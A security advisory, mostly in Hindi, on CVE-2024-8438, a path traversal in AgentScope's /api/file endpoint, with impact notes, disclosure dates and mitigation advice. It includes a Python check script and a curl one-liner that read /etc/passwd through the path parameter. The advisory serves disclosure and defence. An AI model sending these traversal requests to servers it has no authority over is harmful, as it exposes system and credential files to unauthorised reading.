AgentScope में पथ पारगमन /api/file में

यह भेद्यता हमलावरों को सर्वर पर मनमाने ढंग से फ़ाइलों को पढ़ने की अनुमति देती है, जिसमें कॉन्फ़िगरेशन फ़ाइलें, स्रोत कोड और संवेदनशील डेटा शामिल हो सकते हैं। एक हमलावर इस भेद्यता का उपयोग सर्वर पर नियंत्रण हासिल करने, डेटा चोरी करने या अन्य दुर्भावनापूर्ण गतिविधियाँ करने के लिए कर सकता है। यह भेद्यता विशेष रूप से चिंताजनक है क्योंकि यह बिना किसी प्रमाणीकरण के शोषण योग्य है, जिसका अर्थ है कि कोई भी हमलावर इसका फायदा उठा सकता है। इस भेद्यता का उपयोग करके, हमलावर संवेदनशील जानकारी उजागर कर सकते हैं, सिस्टम को समझौता कर सकते हैं, या सर्वर पर मनमाना कोड निष्पादित कर सकते हैं।

Organizations deploying Agentscope in production environments, particularly those with sensitive data stored on the same server, are at risk. Environments with weak access controls or inadequate input validation practices are especially vulnerable. Shared hosting environments where Agentscope is installed alongside other applications could also be affected if the vulnerability is exploited to gain access to other tenants' data.

• python / agentscope:

import requests
import os

url = 'http://your-agentscope-server/api/file' # Replace with your server

try:
    # Attempt to read a sensitive file
    response = requests.get(url + '?path=/etc/passwd')
    if response.status_code == 200:
        print('Potential Path Traversal Detected!')
        print(response.text)
    else:
        print('No Path Traversal Detected.')
except requests.exceptions.RequestException as e:
    print(f'Error: {e}')

• generic web:

curl 'http://your-agentscope-server/api/file?path=../../../../etc/passwd' -s | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. आरक्षित2024-09-04
2. प्रकाशित2025-03-20
3. EPSS अद्यतन2026-04-02

CVE-2024-8438 को कम करने के लिए, Agentscope को नवीनतम संस्करण में अपडेट करना महत्वपूर्ण है। यदि अपडेट करना संभव नहीं है, तो एक अस्थायी उपाय के रूप में, /api/file एंडपॉइंट के लिए इनपुट सत्यापन लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि path पैरामीटर में केवल अपेक्षित वर्ण शामिल हैं। इसके अतिरिक्त, वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करके पथ पारगमन हमलों को ब्लॉक किया जा सकता है। WAF नियमों को /api/file एंडपॉइंट में path पैरामीटर में पथ पारगमन पैटर्न की तलाश करने के लिए कॉन्फ़िगर किया जाना चाहिए। अपग्रेड के बाद, यह सत्यापित करें कि /api/file एंडपॉइंट अब पथ पारगमन हमलों के लिए असुरक्षित नहीं है।